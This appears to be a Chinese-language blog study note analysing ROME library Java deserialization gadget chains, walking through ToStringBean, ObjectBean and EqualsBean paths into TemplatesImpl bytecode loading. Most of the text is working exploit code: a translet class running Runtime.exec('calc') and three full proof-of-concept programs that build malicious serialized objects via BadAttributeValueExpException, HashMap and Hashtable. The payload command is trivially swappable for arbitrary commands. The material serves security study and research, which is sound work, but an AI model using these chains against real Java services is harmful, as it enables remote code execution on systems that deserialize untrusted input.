0%

ROME反序列化

Rome

Rome 就是为 RSS聚合开发的框架, 可以提供RSS阅读和发布器。

Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作

Calc

package bytecode;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;
public class Calc extends AbstractTranslet {

public Calc(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException ignored) {

}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

toString触发

看一下构造方法,两个可控

image-20220309223412701

看看这个ToStringBean的toString()方法干了什么

image-20220309223242536

最后调用了私有的toString,再调用 BeanIntrospector.getPropertyDescriptors(), 查了一下, 作用是获取类属性的getter和setter。

接着通过获取的属性写入pds,调用pds[i] 的 getName() 和 getReadMethod() 来获取方法名,和方法,最后invoke,调用的方法是 无参函数

image-20220309223453415

跟进 getPropertyDescriptors(), 如果传入的Class在 _introspected 这个Map里面没有找到, 就调用getPDs()然后添加到 _introspected

image-20220309224419675

跟进getPDs(), 发现调用了它的重构方法

image-20220309224650068

getPDs,这里获取setter和getter。

image-20220309225404782

回到toString, 通过for循环,经getName 和 getReadMethod 来获取方法名,和方法,接着invoke进行调用,调用 getter 方法

image-20220309225732277

就可以使用 TemplateImpl 中的 getOutputProperties() 方法就是类成员变量 _outputProperties 的 getter 方法, 来动态加载字节码。

所以,ToStringBean 的 toString 最后可以利用TemplateImpl加载字节码

链子后半段利用已经完成,需要找到上半段链子为入口

BadAttributeValueExpException

CC5中利用的点

BadAttributeValueExpExceptionreadObject 中调用 valObj 的 toString 方法 而 valObj是通过获取val的值来进行赋值,也就是可控

poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;


public class ROME {

public static void main(String[] args) throws Exception {
//TemplateImpl 动态加载字节码
byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode();

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "jiang");
setFieldValue(obj, "_class", null);
// setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj, "_bytecodes", new byte[][]{code});

ToStringBean bean = new ToStringBean(Templates.class, obj);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException, "val", bean);
//serialize(badAttributeValueExpException);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
// ByteArrayOutputStream baos = new ByteArrayOutputStream();
// ObjectOutputStream oos = new ObjectOutputStream(baos);
// oos.writeObject(badAttributeValueExpException);
// oos.close();
// System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// ObjectInputStream ois = new ObjectInputStream(bais);
// ois.readObject();
// ois.close();
}

public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}

ObjectBean

这来源于ysoserial 的利用链,看调用链就完事了

/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/

poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class ROME {

public static void main(String[] args) throws Exception {
//TemplateImpl 动态加载字节码
byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode();

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "jiang");
setFieldValue(obj, "_class", null);
// setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj, "_bytecodes", new byte[][]{code});

ToStringBean bean = new ToStringBean(Templates.class, obj);
ObjectBean objectBean = new ObjectBean(String.class,"jiang");

HashMap map = new HashMap();
//Hashtable map = new Hashtable();
map.put(objectBean,"");
setFieldValue(objectBean,"_equalsBean",new EqualsBean(ToStringBean.class,bean));

//serialize(map);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();

}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;

}

public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}

除了 HashMap 里有 hashCode() 方法的调用,还有 Hashtable 这个类的 readObject 方法也存在 hashCode() 的调用

EqualsBean

在EqualsBean 里,可以找到相似ToStringBean 的利用,beanEquals 方法

image-20220309235105549

向上发现equals调用

image-20220309235456126

等于说后半段已经找好,需要找调用equals的前半段链子,CC7中,存在调用equals,这样前半段找好

image-20220309235622621

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;


public class ROME {

public static void main(String[] args) throws Exception {
//TemplateImpl 动态加载字节码
byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode();

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "jiang");
setFieldValue(obj, "_class", null);
// setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj, "_bytecodes", new byte[][]{code});

EqualsBean bean = new EqualsBean(String.class,"jiang");

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",bean);
map1.put("zZ",obj);
map2.put("zZ",bean);
map2.put("yy",obj);
Hashtable table = new Hashtable();
table.put(map1,"1");
table.put(map2,"2");

setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",obj);

serialize(table);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
}

public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}

参考

Java安全之ROME反序列化利用分析